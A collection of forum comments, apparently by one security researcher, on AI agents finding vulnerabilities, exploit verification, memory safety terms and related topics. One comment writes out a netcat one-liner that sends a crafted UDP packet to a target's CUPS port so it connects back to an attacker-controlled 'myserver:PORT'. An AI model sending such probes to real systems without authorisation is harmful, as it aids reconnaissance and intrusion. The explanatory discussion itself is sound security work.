moyix

Parts of this reminded me pleasantly of one of my favorite John Regehr posts, "Operant Conditioning by Software Bugs" https://blog.regehr.org/archives/861

They actually removed the temperature parameter starting with GPT-5.

I think you're confusing CVEs and vulnerabilities here? Mozilla (per their longstanding practice) grouped multiple vulnerabilities found internally under a small number of CVEs.

On hardened targets and Firecracker specifically, here's a recent vulnerability found by "Anthropic": https://aws.amazon.com/security/security-bulletins/2026-015-...

Unfortunately it's unclear whether it was Mythos, an earlier model, or even an eagle-eyed employee.

I tend to agree that bug squashing your way to perfectly secure software is unlikely, but there are plenty of projects that managed to fuzz/test/audit their way to making it much harder to find serious vulnerabilities. If we can do the same again with LLMs in a way that leaves the remaining vulnerabilities out of reach of anyone except extremely skilled humans (perhaps with LLM assistance) then that's still an OK outcome that buys us time to build stronger foundations.

It's limiting from the PoV of a developer who wants to ensure that their own code is free of all security issues. It is not limiting from the point of view of an attacker who just needs one good memory safety vuln to win.

This is true for a lot of things but for low-level code you can always fall back to "the intention is to not violate memory safety".

Also, unlike OpenAI, Anthropic's prompt caching is explicit (you set up to 4 cache "breakpoints"), meaning if you don't implement caching then you don't benefit from it.

There is filtering mentioned, it's just not done by a human:

> I have written up the verification process I used for the experiments here, but the summary is: an exploit tends to involve building a capability to allow you to do something you shouldn’t be able to do. If, after running the exploit, you can do that thing, then you’ve won. For example, some of the experiments involved writing an exploit to spawn a shell from the Javascript process. To verify this the verification harness starts a listener on a particular local port, runs the Javascript interpreter and then pipes a command into it to run a command line utility that connects to that local port. As the Javascript interpreter has no ability to do any sort of network connections, or spawning of another process in normal execution, you know that if you receive the connect back then the exploit works as the shell that it started has run the command line utility you sent to it.

It is more work to build such "perfect" verifiers, and they don't apply to every vulnerability type (how do you write a Python script to detect a logic bug in an arbitrary application?), but for bugs like these where the exploit goal is very clear (exec code or write arbitrary content to a file) they work extremely well.

Note that MuZero did better than AlphaGo, without access to preprogrammed rules: https://en.wikipedia.org/wiki/MuZero

There's also a FIDO standard in the works for how to export passkeys: https://blog.1password.com/fido-alliance-import-export-passk...

The main difference is that all of the vulnerabilities reported here are real, many quite critical (XXE, RCE, SQLi, etc.). To be fair there were definitely a lot of XSS, but the main reason for that is that it's a really common vulnerability.

All of these reports came with executable proof of the vulnerabilities – otherwise, as you say, you get flooded with hallucinated junk like the poor curl dev. This is one of the things that makes offensive security an actually good use case for AI – exploits serve as hard evidence that the LLM can't fake.

Wait a sec, I thought they were optional?

> White Paper/Slide Deck/Supporting Materials (optional)

> • If you have a completed white paper or draft, slide deck, or other supporting materials, you can optionally provide a link for review by the board.

> • Please note: Submission must be self-contained for evaluation, supporting materials are optional.

> • PDF or online viewable links are preferred, where no authentication/log-in is required.

(From the link on the BHUSA CFP page, which confusingly goes to the BH Asia doc: https://i.blackhat.com/Asia-25/BlackHat-Asia-2025-CFP-Prepar... )

Yeah, it's been very strange being on the other side of that after 10 years in academia! But it's totally reasonable for people to be skeptical when there's a bunch of money sloshing around.

I'll see if I can get time to do a paper to accompany the BH talk. And hopefully the agent traces of individual vulns will also help.

This is discussed in the post – many came down to individual programs' policies e.g. not accepting the vulnerability if it was in a 3rd party product they used (but still hosted by them), duplicates (another researcher reported the same vuln at the same time; not really any way to avoid this), or not accepting some classes of vuln like cache poisoning.

We've got a bunch of agent traces on the front page of the web site right now. We also have done writeups on individual vulnerabilities found by the system, mostly in open source right now (we did some fun scans of OSS projects found on Docker Hub). We have a bunch more coming up about the vulns found in bug bounty targets. The latter are bottlenecked by getting approval from the companies affected, unfortunately.

Some of my favorites from what we've released so far:

- Exploitation of an n-day RCE in Jenkins, where the agent managed to figure out the challenge environment was broken and used the RCE exploit to debug the server environment and work around the problem to solve the challenge: https://xbow.com/#debugging--testing--and-refining-a-jenkins...

- Authentication bypass in Scoold that allowed reading the server config (including API keys) and arbitrary file read: https://xbow.com/blog/xbow-scoold-vuln/

- The first post about our HackerOne findings, an XSS in Palo Alto Networks GlobalProtect VPN portal used by a bunch of companies: https://xbow.com/blog/xbow-globalprotect-xss/

You should come to my upcoming BlackHat talk on how we did this while avoiding false positives :D

https://www.blackhat.com/us-25/briefings/schedule/#ai-agents...

I made a CTF challenge based on that lovely feature of select() :D You could use the out-of-bounds bitset memory corruption to flip bits in an RSA public key in a way that made it factorable, generate the corresponding private key, and use that to authenticate.

https://threadreaderapp.com/thread/1723398619313603068.html

With security vulnerabilities, you don't give the agent the ability to modify the potentially vulnerable software, naturally. Instead you make them do what an attacker would have to do: come up with an input that, when sent to the unmodified program, triggers the vulnerability.

How do you know if it triggered the vulnerability? Luckily for low-level memory safety issues like the ones Sean (and o3) found we have very good oracles for detecting memory safety, like KASAN, so you can basically just let the agent throw inputs at ksmbd until you see something that looks kind of like this: https://groups.google.com/g/syzkaller/c/TzmTYZVXk_Q/m/Tzh7SN...

He did do exactly what you say – except right after that, while reviewing the outputs, he found that it had also discovered a different 0day.

One thing that is interesting is that this was anticipated by the OpenAI Codex paper (which led to GitHub Copilot) all the way back in 2021:

> Users might be more inclined to accept the Codex answer under the assumption that the package it suggests is the one with which Codex will be more helpful. As a result, certain players might become more entrenched in the package market and Codex might not be aware of new packages developed after the training data was originally gathered. Further, for already existing packages, the model may make suggestions for deprecated methods. This could increase open-source developers’ incentive to maintain backward compatibility, which could pose challenges given that open-source projects are often under-resourced (Eghbal, 2020; Trinkenreich et al., 2021).

https://arxiv.org/pdf/2107.03374 (Appendix H.4)

I think the usual name is "overlay". At least, that's what Tim Gowers called the one he started :) https://gowers.wordpress.com/2015/09/10/discrete-analysis-an...

I'm a bit confused, or maybe I've been doing it wrong. DEI-related things don't usually go in Broader Impacts, do they? When I've written grants, Broader Impacts was just generally for "how is your research going to help society?"; it was the Broadening Participation in Computing section that was oriented toward DEI.

We've been using them to find novel vulnerabilities in open source web apps. The past 4 posts here have details:

- Auth bypass/arbitrary file read in Scoold: https://xbow.com/blog/xbow-scoold-vuln/

- SSRF in 2FAuth: https://xbow.com/blog/xbow-2fauth-ssrf/

- Stored XSS in 2FAuth: https://xbow.com/blog/xbow-2fauth-xss/

- Path traversal in Labs.AI EDDI: https://xbow.com/blog/xbow-eddi-path/

Each of those has an associated agent trace so you can go read exactly what the agent did to find and exploit the vulnerability.

[This is more of a reply to a deleted reply to you, but I don't want my efforts to go to waste]

Spatial memory safety is a reasonably common term in the security / PL field. You can see examples of it being used at least as far back as 2009: https://scholar.google.com/scholar?hl=en&as_sdt=0%2C33&q=spa...

It's in contrast to temporal memory safety, which deals with object lifetimes (use after free, for example).

Here Google is probably also referencing a 2022 post of theirs with a very similar title, dealing with temporal safety: https://security.googleblog.com/2022/05/retrofitting-tempora...

The terms are also in Wikipedia: https://en.wikipedia.org/wiki/Memory_safety#Classification_o...

Note that the vulnerable extension is only enabled in the sqlite shell:

> However, the generate_series extension is only enabled by default in the shell binary and not the library itself, so the impact of the issue is limited.

https://project-zero.issues.chromium.org/issues/372435124

nmap can't really tell the difference between an open or a firewalled UDP port. For this specific vuln you can send it a packet like:

echo "0 3 http://myserver:PORT/printers/foo" | nc -u target 631

And if the target is running CUPS on that port it will reach out to `myserver:PORT` and POST some data. The downside is you need to have a server running that can accept inbound requests to see if it connects back.

Long agent trajectories, especially with command outputs.

syscall is only available if gdb is able to resolve libc. So for example this won’t work to stop a process running in a container, since gdb won’t be able to see the libc in the container’s filesystem. I did make my own variant using gdb, though, nicely explained here: https://thomasw.dev/post/killbutmakeitlooklikeanaccident/

Yes, that's a limitation of trying to ensure exact binary reconstruction. Luckily there is also a separate line of work on detecting the compiler version and optimization flags based on a binary – it turns out this is not that hard and it's easy to get a bunch of labeled data for a classifier.

If folks are interested in reading more there's a nice paper by Grammatech on the idea: https://eschulte.github.io/data/bed.pdf (though it's pre-LLM and uses evolutionary algorithms on the initial decompilation to search for a version that recompiles exactly).